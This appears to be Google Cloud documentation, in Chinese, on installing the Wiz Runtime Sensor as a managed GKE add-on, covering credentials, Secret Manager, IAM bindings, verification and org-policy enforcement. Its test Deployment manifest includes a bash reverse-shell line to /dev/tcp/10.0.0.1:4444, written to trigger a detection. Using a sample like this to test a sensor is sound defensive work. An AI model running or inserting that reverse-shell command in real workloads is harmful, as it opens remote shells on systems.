在 GKE 集群中安装 Wiz 运行时传感器

Wiz Runtime Sensor 是 Wiz 核心平台中的一个组件，可为运行时工作负载提供实时威胁检测和响应功能。您可以将 Runtime Sensor 作为受管插件安装在 Google Kubernetes Engine (GKE) 集群中。本文档向平台管理员和安全工程师介绍了如何安装 Runtime Sensor 插件、配置对 Wiz 平台的访问权限，以及在组织、文件夹或项目中强制安装 Runtime Sensor。

您应该已经熟悉 Wiz Runtime Sensor。

何时使用 Runtime Sensor 插件

受管插件安装方法是一种内置替代方案，可用于通过 Helm 图表等安装方法安装 Runtime Sensor。Runtime Sensor 插件具有以下优势：

  • GKE 会安装组件并管理大多数配置任务，与使用 Helm 图表相比，这可以减少安装 Runtime Sensor 的工作量和复杂性。
  • 您可以使用 Organization Policy Service，要求在组织、文件夹或项目中启用该插件。
  • 该插件在 Autopilot 集群中运行，并且在 Standard 集群中与 Autopilot 工作负载一起运行，而无需将 Runtime Sensor 添加到许可名单。
  • 对 Runtime Sensor 组件的任何更新都独立于 GKE 补丁程序版本升级。

您还可以使用 Helm 图表在集群中安装 Runtime Sensor。如果您使用此方法，则可以更灵活地自定义传感器配置。但是，与使用插件相比，此方法在安装期间需要更多手动配置，并且更难以大规模强制执行。如果您使用 Helm 图表安装 Runtime Sensor，则组件不受 GKE 管理。如果您不使用 GKE 插件，请直接向 Wiz 报告 Runtime Sensor 的任何问题，例如错误或不兼容问题。

工作原理

您可以使用 GKE API 在特定集群中安装该插件。 启用该插件后，GKE 会创建 gke-managed-wiz 命名空间并安装 Runtime Sensor 组件。GKE 需要访问 Wiz 私有 Container Registry，才能拉取 Runtime Sensor 的映像。

安装后，Runtime Sensor 需要访问 Wiz API，才能将信息发送到 Wiz 平台。如需为 GKE 和 Runtime Sensor 提供所需的访问权限，请在 gke-managed-wiz 命名空间中以 Secret 的形式提供以下信息：

  • 用于访问 Wiz Container Registry 并拉取 Runtime Sensor 映像的凭据。
  • Runtime Sensor 的配置信息，例如 Wiz API 凭据和特定于环境的变量。

您可以手动创建这些 Secret，也可以将信息上传到 Cloud de Confiance by S3NS Secret Manager，后者会自动创建 Secret，按定期计划轮替 版本，并将更新部署到已部署的 Secret。

价格

在 GKE 中，使用 Wiz Runtime Sensor 插件无需额外付费。需要注意以下几点：

  • 您必须拥有有效的 Wiz Runtime Sensor 许可。如需了解详情， 请参阅 Wiz 价格。
  • Runtime Sensor 组件在您的节点上运行，并消耗 CPU 和内存资源，这可能会导致需要更多节点来容纳集群中的所有 Pod。
  • 如果您使用 Secret Manager 存储 Wiz 凭据和 配置，则 Secret Manager 价格 适用。

限制

使用该插件时，适用以下限制：

  • 如果您更新已部署的 Secret 中的 Wiz 注册表或 API 凭据，则必须使用 kubectl rollout restart 命令手动重启 Runtime Sensor DaemonSet。
  • 如需安装 Runtime Sensor，您必须将租户的 Wiz 注册表凭据作为 Kubernetes Secret 或上传到 Secret Manager。
  • 如果您使用专用节点，则必须配置出站访问权限以访问 Wiz 容器注册表 (registry.wiz.io)，方法是使用 Cloud NAT。
  • 受管 GKE 插件仅支持 Runtime Sensor 的以下可选配置参数：
    • httpProxyConfiguration.httpsProxy
    • httpProxyConfiguration.caCertificate
    • httpProxyConfiguration.clientCertificate

如需使用任何其他配置参数，请使用 Helm 图表安装 Runtime Sensor。

准备工作

开始之前，请确保您已执行以下任务：

  • 启用 Google Kubernetes Engine API。
    • 启用 Google Kubernetes Engine API
  • 如果您要使用 Google Cloud CLI 执行此任务， 安装并 初始化 gcloud CLI。如果您之前安装了 gcloud CLI，请通过运行 gcloud components update 命令来获取最新 版本。较早版本的 gcloud CLI 可能不支持运行本文档中的命令。

所需的角色

如需为 GKE 启用和配置 Runtime Sensor 插件，您 必须拥有项目的以下角色： Cloud de Confiance

  • 配置 GKE 集群：Kubernetes Engine Cluster Admin (roles/container.clusterAdmin) 项目。 Cloud de Confiance
  • 将 API 凭据和配置文件上传到 Secret Manager：Secret Manager Editor (roles/secretmanager.editor) 项目的 Cloud de Confiance 。
  • 向 Runtime Sensor 使用的 Kubernetes ServiceAccount 授予 Identity and Access Management (IAM) 角色：Secret Manager Admin(roles/secretmanager.admin) 项目的 Cloud de Confiance 。
  • 配置组织政策：Organization Policy Administrator (roles/orgpolicy.policyAdmin) 在您的组织中。

您还必须有权访问 Wiz 租户，才能获取 Wiz Container Registry 的凭据并为 Wiz API 生成 OAuth 令牌。

准备 Wiz 凭据和配置文件

如需安装 Runtime Sensor 并将信息发送到 Wiz 平台，您必须提供凭据才能访问 Wiz 私有注册表和 Wiz API。如需准备此信息，请按以下步骤操作：

  1. 查找 Wiz 容器注册表凭据，适用于 registry.wiz.io 注册表。

  2. 创建一个 base64 编码的字符串，其中包含 Kubernetes 可以解析的结构中的注册表凭据：

    echo -n 'WIZ_REGISTRY_USERNAME:WIZ_REGISTRY_PASSWORD' | base64 | tr -d '\n'

    替换以下内容：

    • WIZ_REGISTRY_USERNAME：Wiz Container Registry 的用户名。
    • WIZ_REGISTRY_PASSWORD：Wiz Container Registry 的密码。

    输出类似于以下内容：

    aGVsbG86d29ybGQ=

  3. 将信息保存为 JSON 文件：

    {
  "auths": {
    "registry.wiz.io": {
      "username": "WIZ_REGISTRY_USERNAME",
      "password": "WIZ_REGISTRY_PASSWORD",
      "auth": "BASE64_ENCODED_CREDENTIALS"
    }
  }
}

    将 BASE64_ENCODED_CREDENTIALS 替换为上一步中的编码字符串。

  4. 创建 Wiz 服务账号并复制以下信息：

    • 客户端 ID，您还可以在 Wiz 门户的服务账号 页面中找到该 ID。
    • 客户端密钥，仅在您创建服务账号时可见。

  5. 为 Runtime Sensor 创建 YAML 配置文件：

    clientId: "WIZ_CLIENT_ID"
clientToken: "WIZ_CLIENT_SECRET"
clientEndpoint: "WIZ_CLIENT_ENDPOINT"

    替换以下内容：

    • WIZ_CLIENT_ID：服务账号的客户端 ID。
    • WIZ_CLIENT_TOKEN：服务账号的客户端密钥。
    • WIZ_CLIENT_ENDPOINT：要使用的 令牌网址，具体取决于您的 Wiz 租户。

  6. 可选：如果您使用 HTTP 代理，则可以将 Runtime Sensor 配置为使用代理服务器。为代理创建 YAML 配置文件：

    httpsProxy: "PROXY_URL"
caCertificate: "CA_CERTIFICATE"
clientCertificate: "CLIENT_CERTIFICATE"

    替换以下内容：

    • PROXY_URL：完全限定的代理网址，例如 https://proxy.example.com:8080。
    • CA_CERTIFICATE：代理服务器的 CA 证书，采用 PEM 格式。如果您的代理服务器不使用 TLS，请 指定空值 ("")。
    • CLIENT_CERTIFICATE：代理服务器的客户端证书，采用 PEM 格式。如果您的代理服务器不使用 TLS，请指定空值 ("")。

在 Secret Manager 中创建 Secret

本部分介绍了如何在 Secret Manager 中存储各种 Wiz 配置和凭据文件。您可以在 GKE 集群中启用 Runtime Sensor 插件时指定这些 Secret 的 URI。Secret Manager 会在 Wiz 命名空间中自动创建 Kubernetes Secret。当您更新 Secret Manager 中的值时，Kubernetes Secret 会自动重新同步以使用新值。您可以选择跳过本部分，并在 gke-managed-wiz 命名空间中手动创建 Secret。

如需在 Secret Manager 中创建 Secret，请按以下步骤操作：

  1. 存储 Wiz 注册表凭据：

    1. 创建一个 Secret 来存储 Wiz 注册表凭据：

      gcloud secrets create wiz-image-pull-secret \
    --replication-policy="automatic" \
    --project="SECRET_PROJECT_ID"

      将 SECRET_PROJECT_ID 替换为要在其中创建 Secret 的项目的项目 ID Cloud de Confiance 。

    2. 将 Wiz 注册表凭据存储在 wiz-image-pull-secret Secret 中：

      gcloud secrets versions add wiz-image-pull-secret \
    --project="SECRET_PROJECT_ID" \
    --data-file=PATH_TO_CREDENTIALS_FILE

      将 PATH_TO_CREDENTIALS_FILE 替换为包含 Wiz 注册表凭据的 JSON 文件的路径。

  2. 存储 Runtime Sensor API 凭据：

    1. 创建一个 Secret 来存储 Runtime Sensor API 凭据：

      gcloud secrets create wiz-api-key-secret \
    --replication-policy="automatic" \
    --project="SECRET_PROJECT_ID"

    2. 将 Runtime Sensor API 凭据存储在 wiz-api-key-secret Secret 中：

      gcloud secrets versions add wiz-api-key-secret \
    --project="SECRET_PROJECT_ID" \
    --data-file=PATH_TO_CONFIG_FILE

      将 PATH_TO_CONFIG_FILE 替换为包含 Runtime Sensor API 凭据的 YAML 文件的路径。

  3. 可选：存储代理的配置信息：

    1. 创建一个 Secret 来存储代理服务器配置：

      gcloud secrets create wiz-sensor-proxy-secret \
    --replication-policy="automatic" \
    --project="SECRET_PROJECT_ID"

    2. 将代理服务器配置存储在 wiz-sensor-proxy-secret Secret 中：

      gcloud secrets versions add wiz-sensor-proxy-secret \
    --project="SECRET_PROJECT_ID" \
    --data-file=PATH_TO_PROXY_FILE

      将 PATH_TO_PROXY_FILE 替换为包含代理配置参数的 YAML 文件的路径。

授予 GKE 对 Secret Manager 的访问权限

如需将 Secret Manager 中的信息同步为 Kubernetes Secret，请向 gke-managed-wiz 命名空间中的 wiz-sensor-secretsync-sa Kubernetes ServiceAccount 授予您创建的 Secret 的 Secret Manager Secret Accessor (roles/secretmanager.secretAccessor) IAM 角色。当您在集群中启用 Runtime Sensor 插件时，GKE 会创建此 ServiceAccount，并使用 ServiceAccount 身份在命名空间中创建相应的 Secret。如果您计划手动创建 Secret 而不是使用 Secret Manager，请跳过本部分。

以下步骤展示了如何授予所需角色：

  1. 找到您的集群项目的项目编号：

    gcloud projects describe CLUSTER_PROJECT_ID --format='value(projectNumber)'

    输出类似于 1234567890。

  2. 授予 wiz-image-pull-secret Secret 的角色：

    gcloud secrets add-iam-policy-binding wiz-image-pull-secret \
    --project=SECRET_PROJECT_ID \
    --role="roles/secretmanager.secretAccessor" \
    --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.s3ns.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"

    替换以下内容：

    • SECRET_PROJECT_ID：包含 Secret 的项目的项目 ID。
    • CLUSTER_PROJECT_NUMBER：集群项目的项目编号。
    • CLUSTER_PROJECT_ID：集群项目的项目 ID。

  3. 授予 wiz-api-key-secret Secret 的角色：

    gcloud secrets add-iam-policy-binding wiz-api-key-secret \
    --project=SECRET_PROJECT_ID \
    --role="roles/secretmanager.secretAccessor" \
    --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.s3ns.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"

  4. 可选：如果您创建了一个包含 HTTP 代理信息的 Secret，请授予 wiz-sensor-proxy-secret Secret 的角色：

    gcloud secrets add-iam-policy-binding wiz-sensor-proxy-secret \
    --project=SECRET_PROJECT_ID \
    --role="roles/secretmanager.secretAccessor" \
    --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.s3ns.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"

为 GKE 启用 Runtime Sensor 插件

在 Secret Manager 中创建 Secret 并向 GKE 授予 Secret 的所需角色后，为集群启用 Runtime Sensor 插件。您可以在新的或现有的 Standard 或 Autopilot 集群上启用该插件。以下步骤展示了如何在现有集群中启用该插件并配置 Secret 同步。您还可以在集群创建期间使用这些标志。

  1. 为现有集群启用 Secret 同步。如果您计划手动创建 Secret 而不是使用 Secret Manager，请跳过此步骤。

    gcloud container clusters update CLUSTER_NAME \
    --project=CLUSTER_PROJECT_ID \
    --location=CONTROL_PLANE_LOCATION \
    --enable-secret-sync --enable-secret-sync-rotation

    替换以下内容：

    • CLUSTER_NAME：您的集群的名称。
    • CLUSTER_PROJECT_ID：集群项目的项目 ID。
    • CONTROL_PLANE_LOCATION：集群的控制平面位置。

  2. 运行以下命令之一以启用该插件。如果您计划手动创建 Secret 而不是使用 Secret Manager，请在这些命令中仅指定 --addons 标志。

    • 启用该插件，而不配置 HTTP 代理：

      gcloud container clusters update CLUSTER_NAME \
    --project=CLUSTER_PROJECT_ID \
    --location=CONTROL_PLANE_LOCATION \
    --update-addons=WizSensor=ENABLED \
    --wiz-sensor-registry-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-image-pull-secret/versions/latest \
    --wiz-sensor-api-key-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-api-key-secret/versions/latest

    • 启用该插件并配置 HTTP 代理：

      gcloud container clusters update CLUSTER_NAME \
    --project=CLUSTER_PROJECT_ID \
    --location=CONTROL_PLANE_LOCATION \
    --update-addons=WizSensor=ENABLED \
    --wiz-sensor-registry-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-image-pull-secret/versions/latest \
    --wiz-sensor-api-key-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-api-key-secret/versions/latest \
    --wiz-sensor-proxy-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-sensor-proxy-secret/versions/latest

验证安装

如需验证插件安装，请按以下步骤操作：

  1. 获取在集群中运行 kubectl 命令的凭据：

    gcloud container clusters get-credentials CLUSTER_NAME \
    --location=CONTROL_PLANE_LOCATION \
    --project=CLUSTER_PROJECT_ID

  2. 检查 gke-managed-wiz 命名空间是否存在：

    kubectl get namespace gke-managed-wiz

    输出类似于以下内容：

    NAME              STATUS   AGE
gke-managed-wiz   Active   76s

  3. 检查 Secret Manager 自定义资源是否存在于命名空间中：

    kubectl get secretproviderclass --namespace=gke-managed-wiz
kubectl get secretsync --namespace=gke-managed-wiz

    输出类似于以下内容：

    NAME                          AGE
wiz-sensor-secrets-provider   76s
wiz-sensor-apikey             76s
wiz-sensor-imagepullkey       75s
wiz-sensor-proxy              76s

  4. 检查 Kubernetes Secret 是否存在：

    kubectl get secrets --namespace=gke-managed-wiz

    输出类似于以下内容：

    NAME                      TYPE                              DATA   AGE
wiz-sensor-apikey         Opaque                            3      76s
wiz-sensor-imagepullkey   kubernetes.io/dockerconfigjson    1      75s

  5. 检查 Runtime Sensor DaemonSet 的状态：

    kubectl get daemonset --namespace=gke-managed-wiz

    输出类似于以下内容：

    NAME        DESIRED   CURRENT   READY   UP-TO-DATE   AVAILABLE   NODE SELECTOR   AGE
wiz-sensor  1         1         1       1            1           <none>          76s

    此输出表明 Runtime Sensor 已准备就绪并可用。

  6. 检查 Runtime Sensor Pod 的启动和连接日志：

    kubectl logs -n gke-managed-wiz daemonset/wiz-sensor --tail=100

    输出类似于以下内容：

    {"fields":{"defs_commit":"","defs_version":"0.0.0","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:06:32.982+00:00"}
{"fields":{"message":"starting content update"},"level":"INFO","timestamp":"2026-09-24T17:06:33.304+00:00"}
{"fields":{"message":"ending content update - new content downloaded"},"level":"INFO","timestamp":"2026-09-24T17:06:34.215+00:00"}
{"fields":{"defs_commit":"4cf39a653","defs_version":"1.0.6125","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:06:34.372+00:00"}
{"fields":{"env":{"ALLOWED_CONTROLLER_API_GROUPS":"[\"\",\"apps\",\"batch\",\"argoproj.io\",\"sparkoperator.k8s.io\",\"ray.io\",\"tekton.dev\",\"composer.cloud.google.com\",\"kafka.strimzi.io\",\"actions.github.com\"]","ALLOW_KUBELET_COMMUNICATION":"false","BACKEND_ENV":"prod","CRI_SOCKET_CUSTOM_PATH":"","HELM_CHART_COMPAT_VER":"1","HELM_CHART_VERSION":"1.0.11492","HTTP_PROXY_URL":"","JSON":"true","LOG_FILE":"/wiz-sensor-store/sensor.log","RAMFS_STORE":"/tmp/","SENSOR_CLUSTER_NAME":"CLUSTER_NAME","STDOUT_LOG":"error","TMP_STORE":"/wiz-sensor-store/"},"hash":"daa946af4dd7eb728495e752bb35399749ad2c2c","message":"Wiz Sensor env config"},"level":"INFO","timestamp":"2026-09-24T17:09:24.844+00:00"}
{"fields":{"defs_commit":"4cf39a653","defs_version":"1.0.6125","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:09:25.249+00:00"}
{"fields":{"major":6,"message":"kernel version","minor":12,"patch":94},"level":"INFO","timestamp":"2026-09-24T17:09:25.277+00:00"}
{"fields":{"delay":{"nanos":0,"secs":0},"message":"sensor start delay secs","range":0},"level":"INFO","timestamp":"2026-09-24T17:09:34.994+00:00"}

部署测试工作负载

如需检查与 Wiz 门户的连接是否正常运行，请按以下步骤操作：

  1. 将以下 Deployment 清单保存为 YAML 文件：

    apiVersion: apps/v1
kind: Deployment
metadata:
  name: demo-nginx
  namespace: default
spec:
  replicas: 1
  selector:
    matchLabels:
      app: demo-nginx
  template:
    metadata:
      labels:
        app: demo-nginx
    spec:
      containers:
      - name: nginx
        image: nginx:1.15.6
        command: ["/bin/bash", "-c"]
        args:
        - |
          # Trigger background reverse shell attempt
          (timeout 5 bash -i >& /dev/tcp/10.0.0.1/4444 0>&1) &
          # Trigger image drift file modification
          touch /usr/bin/malicious_test_file
          # Start Nginx
          exec nginx -g "daemon off;"
        ports:
        - containerPort: 80

    此 Deployment 会创建一个模拟反向 Shell 攻击的 Pod。

  2. 创建 Deployment：

    kubectl apply -f PATH_TO_MANIFEST

    将 PATH_TO_MANIFEST 替换为 Deployment 清单文件的路径。

  3. 在 Wiz 门户中，前往威胁 页面。

  4. 在威胁表中，查找反向 Shell 尝试的威胁发现。

使用组织政策强制安装插件

您可以使用组织政策在组织、文件夹或项目中的多个集群中强制安装 Runtime Sensor 插件。创建一个具有以下属性的自定义限制条件：

  • 资源: container.googleapis.com/Cluster
  • 条件: resource.addonsConfig.wizSensor.enabled == false
  • 操作: DENY

如需详细了解如何配置具有这些 属性的自定义限制条件，请参阅使用自定义组织政策限制对 GKE 资源的操作。

后续步骤